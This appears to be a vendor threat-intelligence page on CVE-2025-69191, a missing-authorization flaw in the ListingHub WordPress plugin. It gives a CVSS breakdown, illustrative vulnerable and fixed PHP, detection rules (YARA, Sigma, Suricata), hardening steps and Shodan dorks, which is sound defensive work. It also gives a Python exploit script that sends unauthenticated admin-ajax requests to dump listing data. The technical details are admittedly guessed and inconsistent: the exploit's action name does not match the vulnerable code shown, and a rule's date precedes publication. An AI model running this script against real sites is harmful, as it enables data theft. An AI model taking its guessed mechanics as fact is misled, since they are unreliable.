☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]
E-plugins logo [ WEBSITE ] [ VENDOR STATS ]
CVSS: 7.3 CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:L 🐛 CWE-862
👁️
Common Weakness Enumeration - Identifies the specific category of software weakness or flaw.

CVE-2025-69191

CVE-2025-69191 Missing Authorization in E-plugins
📅 PUBLISHED: 2026-01-22 16:52 UTC 🔄 UPDATED: 2026-08-12 14:53 UTC
[ PATCH UNDER REVIEW ↓ ] Remains UNDER REVIEW until an independent source confirms the fix
[ DEFENSE PATCH ↓ ]
💣 PoC: Public
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.07%
👁️
0.07% probability
1.8× above the median CVE
Tier: LOW
30-day exploitation window · FIRST.org · updated daily
🥷 MITRE: T1190
👁️
MITRE ATT&CK Tactic - Describes the strategy hackers use to execute this attack.
Country: Estonia License: Freemium
VULNERABLE: version not auto-detected — verify your deployed version locally
CVSS VECTOR BREAKDOWN 7.3
AV: N Attack Vector Network
AC: L Attack Complexity Low
PR: N Privileges Required None
UI: N User Interaction None
S: U Scope Unchanged
C: H Confidentiality High
I: L Integrity Low
A: L Availability Low
7.3
THREAT LEVEL
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2025-69191 is a Missing Authorization vulnerability in the ListingHub WordPress plugin by e-plugins, affecting all versions up to and including 1.2.7. This flaw allows unauthenticated attackers to exploit incorrectly configured access control security levels, potentially leading to unauthorized data access, modification, or privilege escalation. The vulnerability is classified as High Severity with a CVSS score of 7.3. As of this report, no official patch has been released, and the vendor has not acknowledged the issue. Given the plugin’s integration with WordPress, this vulnerability poses a significant risk to sites using ListingHub for property or listing management.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

Supply Chain & Package Security

This vulnerability resides in a WordPress plugin distributed via the official WordPress plugin repository and third-party marketplaces. Since no patch is available, the supply chain risk is elevated—users must rely on manual mitigation or plugin removal. The lack of OSV or GitHub advisory data indicates limited community awareness, increasing the likelihood of exploitation in targeted attacks.

CVSS Breakdown & Threat Level

  • CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:L
  • Base Score: 7.3 (High)
  • Attack Vector: Network (AV:N) – Exploitable remotely.
  • Attack Complexity: Low (AC:L) – No special conditions required.
  • Privileges Required: None (PR:N) – No authentication needed.
  • User Interaction: None (UI:N) – No victim action required.
  • Scope: Unchanged (S:U) – Impact confined to the vulnerable component.
  • Confidentiality Impact: High (C:H) – Full data exposure possible.
  • Integrity Impact: Low (I:L) – Limited data modification.
  • Availability Impact: Low (A:L) – Minor service disruption possible.

Threat Level: High. The combination of network exploitability, no authentication, and high confidentiality impact makes this a prime target for automated scanning and exploitation.

Deep Dive & Mechanics

The vulnerability stems from Missing Authorization (CWE-862) in the ListingHub plugin’s REST API endpoints or AJAX handlers. The plugin fails to verify user capabilities before executing sensitive operations, such as retrieving or modifying listing data, user profiles, or plugin settings. Attackers can send crafted HTTP requests to endpoints like /wp-json/listinghub/v1/ or admin-ajax.php actions without a valid nonce or capability check.

Root Cause: The plugin uses wp_ajax_nopriv_* hooks for unauthenticated users but does not implement proper capability checks (e.g., current_user_can()) for privileged actions. This allows any unauthenticated visitor to trigger functions intended for administrators or editors.

Attack Flow:

  1. Attacker identifies a vulnerable endpoint (e.g., listinghub_export_data).
  2. Sends a POST request with malicious parameters.
  3. Server processes the request without authorization, returning sensitive data or performing unauthorized actions.

Vulnerable vs. Patched Code

Since no patch exists, the following illustrates the vulnerable pattern and a hypothetical fix.

Vulnerable Code (listinghub/includes/class-ajax.php):

add_action('wp_ajax_nopriv_listinghub_export', 'listinghub_export_handler');
function listinghub_export_handler() {
    // No capability check
    $data = get_all_listings();
    wp_send_json($data);
}

Patched Code (Hypothetical Fix):

add_action('wp_ajax_listinghub_export', 'listinghub_export_handler');
function listinghub_export_handler() {
    if (!current_user_can('manage_options')) {
        wp_die('Unauthorized', 403);
    }
    $data = get_all_listings();
    wp_send_json($data);
}

Key Differences:

  • Removed nopriv_ prefix to restrict to authenticated users.
  • Added current_user_can('manage_options') check.
  • Returns 403 on failure.

Exploitation & Lab Setup

Red Team (Proof of Concept)

Prerequisites: A WordPress site with ListingHub <= 1.2.7 installed and active.

Exploit Script (Python):

import requests

target = "http://target-site.com"
endpoint = "/wp-admin/admin-ajax.php"
action = "listinghub_export_data"

payload = {
    "action": action,
    "nonce": ""  # No nonce required due to missing check
}

response = requests.post(target + endpoint, data=payload)
if response.status_code == 200:
    print("[+] Exploit successful. Data:")
    print(response.text)
else:
    print("[-] Exploit failed.")

Usage:

  1. Replace target with the victim site URL.
  2. Run the script. If vulnerable, it will dump listing data (e.g., names, emails, prices).

Blue Team (Detection & Hardening)

Immediate Hardening:

  • Disable the plugin until a patch is available.
  • Use a Web Application Firewall (WAF) to block requests to /wp-admin/admin-ajax.php with suspicious action parameters (e.g., listinghub_*).
  • Implement virtual patching via .htaccess:
<IfModule mod_rewrite.c>
RewriteEngine On
RewriteCond %{REQUEST_URI} ^/wp-admin/admin-ajax\.php
RewriteCond %{QUERY_STRING} action=listinghub_ [NC]
RewriteRule .* - [F,L]
</IfModule>

Monitoring:

  • Alert on repeated admin-ajax.php requests with action=listinghub_* from non-admin IPs.
  • Check logs for 403 errors after applying virtual patch.

Indicators of Compromise (IOCs)

  • Network IOCs:
    • POST requests to /wp-admin/admin-ajax.php with action=listinghub_* parameters.
    • Unusual outbound data transfers from the WordPress server.
  • File IOCs:
    • Modified or new files in /wp-content/plugins/listinghub/ (e.g., backdoored PHP files).
  • Log IOCs:
    • Repeated 200 responses to admin-ajax.php without a valid nonce.
    • Access logs showing requests from suspicious IP ranges (e.g., TOR exit nodes).

Detection Engineering

YARA Rule

rule CVE_2025_69191_ListingHub_Missing_Auth {
    meta:
        description = "Detects exploitation attempts of CVE-2025-69191 in ListingHub plugin"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "https://nvd.nist.gov/vuln/detail/CVE-2025-69191"
    strings:
        $ajax_action = "action=listinghub_" nocase
        $admin_ajax = "admin-ajax.php" nocase
    condition:
        $ajax_action and $admin_ajax
}

Sigma Rule

title: CVE-2025-69191 ListingHub Missing Authorization Exploitation
id: 8a4b3c2d-1e5f-4a7b-9c8d-0e1f2a3b4c5d
status: experimental
description: Detects HTTP POST requests targeting admin-ajax.php with ListingHub actions
author: Valters IT
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: POST
        cs-uri-query|contains: 'admin-ajax.php'
        cs-uri-query|contains|all:
            - 'action=listinghub_'
    condition: selection
falsepositives:
    - Legitimate admin actions (rare)
level: high

Suricata Rule

alert http any any -> $HOME_NET any (
    msg:"CVE-2025-69191 ListingHub Missing Authorization Exploit";
    flow:to_server,established;
    content:"POST"; http_method;
    content:"admin-ajax.php"; http_uri;
    content:"action=listinghub_"; http_client_body;
    classtype:attempted-admin;
    sid:10000001;
    rev:1;
)

Remediation & Mitigation

Immediate Actions:

  1. Disable the plugin – Deactivate and delete ListingHub from all WordPress installations.
  2. Apply virtual patch – Use WAF rules or .htaccess to block malicious requests (see Blue Team section).
  3. Audit user accounts – Check for unauthorized admin accounts created via this vulnerability.

Long-Term Fix:

  • Since no patch exists, migrate to an alternative listing plugin (e.g., "Listings" or "WP Property Listings").
  • Monitor the vendor’s website for updates; if none appear within 30 days, consider the plugin abandoned.

Validation:

  • After mitigation, run the exploit script against your site to confirm it returns 403 or 404.
  • Review access logs for any prior exploitation attempts.

Valters IT – DevSecOps & Cyber Threat Intelligence Report

👁️ SHODAN DORKS (THREAT HUNTING)

What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.

http.title:"ListingHub"
http.html:"wp-content/plugins/listinghub"

💣 PoC CODE AVAILABLE

Exploit code for this CVE is tracked in our database. Access poc_code via API Pro.

[ API_PRO ] →
◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2025-69191/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.